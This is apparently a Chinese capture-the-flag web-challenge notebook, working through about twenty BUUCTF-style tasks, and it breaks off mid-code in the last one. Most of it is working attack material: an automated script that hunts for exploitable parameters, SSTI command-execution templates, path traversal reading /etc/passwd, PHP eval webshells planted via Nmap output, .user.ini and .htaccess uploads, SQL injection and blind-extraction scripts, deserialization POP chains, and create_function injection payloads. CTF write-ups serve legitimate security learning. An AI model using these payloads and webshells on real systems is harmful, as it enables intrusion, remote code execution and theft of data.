Web做题记录1 [强网杯 2019]高明的黑客 import osimport requestsimport reimport threadingimport timeprint ('开始时间: ' + time.asctime( time.localtime(time.time()) ))s1=threading.Semaphore(100 ) filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False def get_content (file ): s1.acquire() print ('trying ' +file+ ' ' + time.asctime( time.localtime(time.time()) )) with open (file,encoding='utf-8' ) as f: gets = list (re.findall('\$_GET\[\'(.*?)\'\]' , f.read())) posts = list (re.findall('\$_POST\[\'(.*?)\'\]' , f.read())) data = {} params = {} for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/src/' +file req = session.post(url, data=data, params=params) req.close() req.encoding = 'utf-8' content = req.text if "xxxxxx" in content: flag = 0 for a in gets: req = session.get(url+'?%s=' %a+"echo 'xxxxxx';" ) content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1 : for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';" }) content = req.text req.close() if "xxxxxx" in content: break if flag == 1 : param = a else : param = b print ('找到了利用文件: ' +file+" and 找到了利用的参数:%s" %param) print ('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start()
[BJDCTF2020]The mystery of ip XFF和client-ip都可。发现可以控制输入
可以进行逻辑运算{7*8}
client-ip:{system('ls')}
发现可以,尝试cat /flag
[GWCTF 2019]我有一个数据库 dirb扫描到后台有phpmyadmin目录,访问一下
版本为4.81,经查询,存在远程文件读取漏洞
直接上payload读取passwd文件
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
读取成功,尝试读取flag文件
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
网鼎杯 2020 朱雀组NMap 知识点
‘ -oG hack.php’
回显hacker 经过调查 可知 php 被过滤 于是 使用短标签绕过
' <?= @eval($_POST["hack"]);?> -oG hack.phtml'
成功写入
访问
用蚁剑连接
[第二章 web进阶]SSRF Training <?php highlight_file(__FILE__ ); function check_inner_ip ($url ) { $match_result =preg_match('/^(http|https)?:\/\/.*(\/)?.*$/' ,$url ); if (!$match_result ) { die ('url fomat error' ); } try { $url_parse =parse_url($url ); } catch (Exception $e ) { die ('url fomat error' ); return false ; } $hostname =$url_parse ['host' ]; $ip =gethostbyname($hostname ); $int_ip =ip2long($ip ); return ip2long('127.0.0.0' )>>24 == $int_ip >>24 || ip2long('10.0.0.0' )>>24 == $int_ip >>24 || ip2long('172.16.0.0' )>>20 == $int_ip >>20 || ip2long('192.168.0.0' )>>16 == $int_ip >>16 ; } function safe_request_url ($url ) { if (check_inner_ip($url )) { echo $url .' is inner ip' ; } else { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch , CURLOPT_HEADER, 0 ); $output = curl_exec($ch ); $result_info = curl_getinfo($ch ); if ($result_info ['redirect_url' ]) { safe_request_url($result_info ['redirect_url' ]); } curl_close($ch ); var_dump($output ); } } $url = $_GET ['url' ]; if (!empty ($url )){ safe_request_url($url ); } ?>
$url=http://a:@127.0.0.1:80@baidu.com/flag.php
[Flask]SSTI payload
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval' ]('__import__("os").popen("id").read()' ) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
Hello HOSTNAME=d43aec63194a PYTHON_PIP_VERSION=19.3.1 HOME=/root GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/ffe826207a010164265d9cc807978e3604d18ca0/get-pip.py SERVER_SOFTWARE=gunicorn/20.0.0 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 PYTHON_VERSION=3.6.9 PWD=/app PYTHON_GET_PIP_SHA256=b86f36cc4345ae87bfd4f10ef6b2dbfa7a872fbff70608a1e43944d283fd0eee FLAG=flag{044b09a2-bb0b-4dcb-abac-f4ceb70ff40e} }
[De1CTF 2019]SSRF Me from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' )
审计一下源码 这三个是要传的参数
action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" ))
将三个参数传入TASK类中 调用TASK类中的EXEC方法
分析下三个参数: 第一个参数action是传入read和scan的
if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
第二个参数传入一个文件名根据提示是flag.txt
第三个参数sign是一个md5值 最关键就是第三个参数,由于我们不知道secert_key的值,所以不能自己加密,考点应该在这里!
由于我们并没有secert_key的值,所以本来是没得办法的。
但是/geneSign路由,暴露了getSign函数,
我们可以根据路由getSign去得到正确的sign值。
访问一下geneSign传入参数param=flag.txtread得到一串MD5值:
f8c0d736fa2e823c2b488c82561c4732
然后让flag.txtread + scan拼接加密md5即为
sign
/Delta?param=flag.txt
Cookie:action=readscan;sign=f8c0d736fa2e823c2b488c82561c4732;
[网鼎杯 2018]Fakebook robots.txt
看到
/user.php.bak
下载后
<?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch ); $httpCode = curl_getinfo($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
join,即注册一个用户
点击自己的username,点击之后,观察url可能存在get注入。是数字型注入。union select 发现有waf,用//即可绕过。union / / select.回显位置是第二位,往下注注注。
发现爆出路径:/var/www/html/
o:8:”UserInfo”:3:{s:4:”name”:1:”a”;s:3:”age”:i:1:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}
因为blog在第四位,所以paylaod:
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
注入后blog栏显示file:///var/www/html/flag.php,此时即代表注册成功。查看源码:
iframe标签中读取了flag.php中的内容。flag即出现
[SWPU2019]Web1 知识点
二次注入
-1 ' select * from ad where title = ' $title' limit 0,1
过滤了空格用/**/绕
过滤了报错注入函数,用联合注入
过滤了or不能用order by 判断字段数和查询information_schema 这个库判断用group by
过滤了注释符又要闭合单引号 用group by 1’,1’
用group by 查询列数 # 判断多少字段 -1 'group/**/by/**/22,' 1 -1 'group/**/by/**/23,' 1 # 可得字段为22 个
利用sys.schema_auto_increment_columns
-1 'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 22
这里数据库为MaeiaDB,可用mysql.innodb_table_stats查表名
-1 'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 22 # 结果 FLAG_TABLE,news,users,gtid_slave_pos,ads,users
无列名注入 1 'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' 1
[GXYCTF2019]BabySQli 知识点
直接可以用联合注入,表里有三列
进行用联合注入,回显wrong user!,说明用户不在第一列
尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列
1 ' union select 1,' admin',3#
0’ union select 0,’admin’,’e10adc3949ba59abbe56e057f20f883e’#
密码输入
flag{bbdf4c9d-3ae8-42a4-9f0f-b1ebd92537ae}
[CISCN2019 华北赛区 Day2 Web1]Hack World 知识点
一开始就给出了我们所需的表名和列名,然后提交一个id
当提交1和2的时候,查询出了两句,其他则报错
尝试输入一些常规的sql注入查询语句,结果都被过滤了
显示 SQL Injection Checked.
尝试异或注入 ,输入1^1^1,返回了id=1的结果
输入1^(ascii(substr((select(flag)from(flag)),1,1))>x)^1,这里x是一个未知数,不断改变x的值,便可根据回显逐渐爆破出flag
大佬的脚本
import requestsimport timeimport reurl = 'http://d7b94d40-8ccb-4ead-9ace-89662e7f29c7.node3.buuoj.cn/index.php' flag = '' for i in range (1 , 43 ): max = 127 min = 0 for c in range (0 , 127 ): s = (int )((max +min )/2 ) payload = '1^(ascii(substr((select(flag)from(flag)),' + \ str (i)+',1))>' +str (s)+')' r = requests.post(url, data={'id' : payload}) time.sleep(0.005 ) if 'Hello, glzjin wants a girlfriend.' in str (r.content): max = s else : min = s if ((max -min ) <= 1 ): flag += chr (max ) break print (flag)
[GXYCTF2019]禁止套娃 知识点
无参数RCE
什么都看不到,先扫一下目录
发现.git 目录 是git泄露
<?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
读下代码
第一个if php伪协议用不了 第二个if (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数 第三个if et info等函数也用不了 典型的无参数rce 简单来说 我们需要用全局变量来rce
解题 以一般的思路来说 肯定是要先scandir的 没有scandir没办法往下做 但是问题是scandir需要一个目录 而如果扫描当前目录的话需要一个”.” 第一部的预想就是要构造一个”.”localeconv() 既然是数组 可以用current() 函数默认截取第一个
即得 ?exp=print_r(scandir(current(localeconv())))
现在我们只是拿到了这个数组的键值 还没有拿到这个数组对应flag键值的具体值
array_flip() 这个函数就可以得到键值 flag.php
只能通过highlight_file或者show_source flag.php的方法 简单来说就是要一个单独的flag.php这个倒数第二个值
array_rand() 简单来说这个函数可以随机返回一个数组里的值
payload
?exp=show_scoure(array_rand(array_flip(scandir(current(localconv())))))
;
或者
?exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localconv()))))));
array_reverse() 简单来说就是逆序输出数组 但是我们的那个flag在倒数第二个 所以我们还需要一个next() 顾名思义 输出下一个
payload
?exp=print_r(highlight_file(next(array_reverse(scandir(pos(localeconv())))));
本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。 使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。 session_id()可以获取到当前的session id。
因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php
payload
?exp=show_source(session_id(session_start()));
[BJDCTF2020]Mark loves cat 知识点
进网站什么都找不到,扫一下目录
发现是.git源码泄露
用githack下载查看源码
$flag = file_get_contents('/flag' );
include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
可以发现代码中有变量覆盖漏洞
通过观察发现没有办法绕过到达最后的echo 出flag
但exit也可以打印没有打印$flag 我们可以变量覆盖
观察第一个exit GET参数中flag的值强等于某个变量($x)而且这个变量强不等于flag
即要存在又不能存在,不可能
观察第二个exit 不存在post或get型的flag参数
我们想要通过单纯的post参数搞定它是不可能的,因为post处的变量覆盖是让它变成我们可控的值,所以不能
我们可以通过单纯的get或者get+post搞定
get传参 yds=flag;
观察第三个exit post型的flag强等于flag 或者get型的flag强等于flag
那我们就先从post型flag=flag开始:
我们post的数据,会在这一步,把原来的$flag的值改变,因为$x=flag,$y=flag,然后带进去变成了$flag=flag,原来的flag值没了,这条路不通:
我们试试get型的flag=flag: is=flag&flag=flag)
[网鼎杯 2020 青龙组]AreUSerialz <?php class FileHandler { protected $op =2 ; protected $filename ="php://filter/read=convert.base64-encode/resource=flag.php" ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; } public function process ( ) { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res ); } else { $this ->output("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen((string )$this ->content) > 100 ) { $this ->output("Too long!" ); die (); } $res = file_put_contents($this ->filename, $this ->content); if ($res ) $this ->output("Successful!" ); else $this ->output("Failed!" ); } else { $this ->output("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; } } $A =new FileHandler();$B =serialize($A );echo $B ;
接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件
$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
<?php include ("flag.php" );class FileHandler { protected $op = 2 ; protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php" ; protected $content = "A" ; } $a = new FileHandler();echo serialize($a );
payload
str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;s:7:”content”;s:1:”A”;}
[SUCTF 2019]CheckIn 知识点:
.user.ini。
auto_append_file : 指定一个文件 , 自动包含在要执行的文件末尾 , 类似与在可执行文件末尾调用了 require() 函数
auto_prepend_file : 指定一个文件 , 自动包含在要执行的文件开头 , 类似与在可执行文件开头调用了 require() 函数
利用.user.ini漏洞的条件
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
该题对
exif_imagetype:not imag 这是因为题目用exif_imagetype进行了检测,判断是否是图片文件。
user.ini文件 其中有两个配置,可以用来制造后门: auto_append_file、auto_prepend_file 指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
gif89a 为图片头
GIF89a auto_prepend_file=shell.gif
GIF89a? <script language="php" >eval ($_GET ['shell' ])</script>
然后就可以用菜刀连了。但是它会不时的清除文件,所以链接的不是很稳定,甚至有是时候连不上,但我们可以在网页执行命令。所以我第一次就是在页面执行了命令,找到了flag: 扫描根目录:shell=var_dump(scandir(“/“));,我们可以可以看见一个叫flag的文件 打印:shell=var_dump(file_get_contents(“/flag”));
eg:
http://70446d7d-2c88-4c36-92d2-eedf67a8703b.node3.buuoj.cn/uploads/7da8cd499a49031eb076ec11e9e2aab3/index.php?shell=var_dump(file_get_contents("/flag") );
[MRCTF2020]你传你🐎呢 最初的htaccess文件是不能上传的,我改了Content-Type后才能上传,但说明能上传htaccess文件,
htaccess文件:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
原理:他没有过滤 .htaccess后缀,我们可以构建一个htaccess配置文件,让所有格式文件都解析为php,然后再上传图片马(只要后缀是允许的,随便都可以)就会被解析了。
文件内容如下
SetHandler application/x-httpd-php
上传.htaccess文件 最好把type改成image/jpeg类型
/var/www/html/upload/f3e466d5e8513076db058202a1b8722d/.htaccess succesfully uploaded!
上传.jpg文件马
/var/www/html/upload/f3e466d5e8513076db058202a1b8722d/php.jpg succesfully uploaded!
最后用蚁剑连
http://c2a02cc3-bae8-4b13-8387-c1f6cb7fbc7a.node3.buuoj.cn/upload/f3e466d5e8513076db058202a1b8722d/php.jpg
[强网杯 2019]Upload 注册
登录
传了一个gif
看到可以访问目录
cookiebase64解密 得序列化
怎么是png
a:5:{s:2:”ID”;i:3;s:8:”username”;s:7:”admin “;s:5:”email”;s:12:”123456@1.com “;s:8:”password”;s:32:”21232f297a57a5a743894a0e4a801fc3”;s:3:”img”;s:79:”../upload/0392412bc2d05c02c9fc9c42c86c3fd3/9185d1d0b5e4e9faec46f10be786ecb8.png”;}
试试能不能页面跳转
a:5:{s:2:”ID”;i:3;s:8:”username”;s:7:”admin “;s:5:”email”;s:12:”123456@1.com “;s:8:”password”;s:32:”21232f297a57a5a743894a0e4a801fc3”;s:3:”img”;s:31:”../../../../../../../etc/passwd”;}
<?php namespace app /web /controller ;class Profile { public $checker =0 ; public $filename_tmp ="../public/upload/0392412bc2d05c02c9fc9c42c86c3fd3/9185d1d0b5e4e9faec46f10be786ecb8.png" public $filename ="../public/upload/0392412bc2d05c02c9fc9c42c86c3fd3/qwe.php" ; public $upload_menu ; public $ext =1 ; public $img ; public $except =array ('index' =>'upload_img' ); } class Register { public $checker ; public $registed =0 ; } $a =new Register()$a ->checker=new Profile();$a ->checker->checker=0 ;echo base64_encode(serialize($a ))
[MRCTF2020]Ezpop __construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
此处用到的主要是__toString(),__wakeup(),__get(),__invoke(),
2.
类中,private变量与protected变量序列化后,变量名会有些异常,
private变量经反序列化后为\x00 + 类名 + \x00 + 变量名;
protected变量经反序列化后为,\x00 + * + \x00 + 变量名;
3.
列化操作只是保存对象(不是类)的变量,不保存对象的方法,其实反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的。我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法。
<?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append($this ->var); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize($_GET ['pop' ]); } else { $a =new Show; highlight_file(__FILE__ ); }
<?php class Modifier { protected $var = "php://filter/convert.base64-encode/resource=flag.php" ; } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; } } class Test { public $p ; } $a = new Show();$a ->str = new Test();$a ->str->p = new Modifier();$b = new Show($a );echo urlencode(serialize($b ));
得到序列化
O:4:”Show”:2:{s:6:”source”;O:4:”Show”:2:{s:6:”source”;N;s:3:”str”;O:4:”Test”:1:{s:1:”p”;O:8:”Modifier”:1:{s:6:”*var”;s:52:”php://filter/convert.base64-encode/resource=flag.php”;}}}s:3:”str”;N;}
进行urlencode
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
得到base64
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezQ3MWE5ZmQ0LWUzZGYtNDRiNi04ZDhjLTU4Mjc0MGU4M2ZmYn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
<?php class Flag { private $flag = "flag{471a9fd4-e3df-44b6-8d8c-582740e83ffb}" ; } echo "Help Me Find FLAG!" ;?>
[BSidesCF 2020]Had a bad day 观察URL 修改category值看到报错 include
文件包含漏洞
?category=php://filter/convert.base64-encode/resource=index
<?php $file = $_GET ['category' ]; if (isset ($file )) { if ( strpos( $file , "woofers" ) !== false || strpos( $file , "meowers" ) !== false || strpos( $file , "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } } ?>
需要对伪协议进行嵌套,加入一个可以通过的关键词然后进行flag读取
?category=php://filter/convert.base64-encode/resource=woofers/../flag
或
?category=php://filter/convert.base64-encode/index/resource=flag
[BJDCTF2020]EzPHP 知识点
绕过QUERY_STRING url编码
preg_match('/^$/')
用换行符%0a绕过
$_REQUEST
绕过
file_get_contents函数绕过
sha1数组绕过
create_function注入
GFXEIM3YFZYGQ4A= base32解码 得到1nD3x.php
看源码六个if语句
最后包含flag.php
第一个if if ($_SERVER ) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ])) die ('You seem to want to do something bad?' ); }
绕过**’QUERY_STRING’**,$_SERVER['QUERY_STRING']
不会进行urldecode,$_GET[]
会,用url编码绕过
$_SERVER[“QUERY_STRING”] => “id=1”,查询字符串,不存在为” “
第二个if if (!preg_match('/http|https/i' , $_GET ['file' ])) { if (preg_match('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' );
preg_match('/^$/')
用换行符%0a绕过
debu=aqua_is_cute%0a
第三个if if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } }
$_REQUEST
绕过,$_REQUEST在同时接收GET和POST参数时,POST优先级更高
第四个if if (file_get_contents($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );
file_get_contents`函数,用data伪协议绕过`file=data://text/plain,debu_debu_aqua
第五个if if ( sha1($shana ) === sha1($passwd ) && $shana != $passwd ){ extract($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }
sha1()函数无法处理数组,$shana和$passwd都是数组时都是false。$shana[]=1&$passwd[]=2
exc
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute &shana[]=1&passwd[]=2
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
第六个if if (preg_match('/^[a-z0-9]*$/isD' , $code ) ||preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); }
$code
和$arg
可控,利用$code('',$arg)
进行create_function注入
function a('',$arg){ return $arg }
$arg=}代码;//,则}闭合了a(),同时//注释了后面的内容
function a('',$arg){ return }代码;// }
构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
get_defined_vars()
打印出所有定义的变量与变量值
payload应为
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());// post: file=1&debu=2
最后的flag在rea1fl4g.php中,使用require加base64编码加取反替代var_dump(get_defined_vars())
require(php://filter/convert.base64-encode/resource=rea1fl4g.php)
用require读取flag,用~绕过正则
<?php $s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php' ;echo urlencode(~$s );?>
最终payload
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
同时postfile=1&debu=2
[安洵杯 2019]easy_web 未完成 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8' ); $cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin(base64_decode(base64_decode($_GET ['img' ])));$file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode(file_get_contents($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd ;echo "<br>" ;if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5($_POST 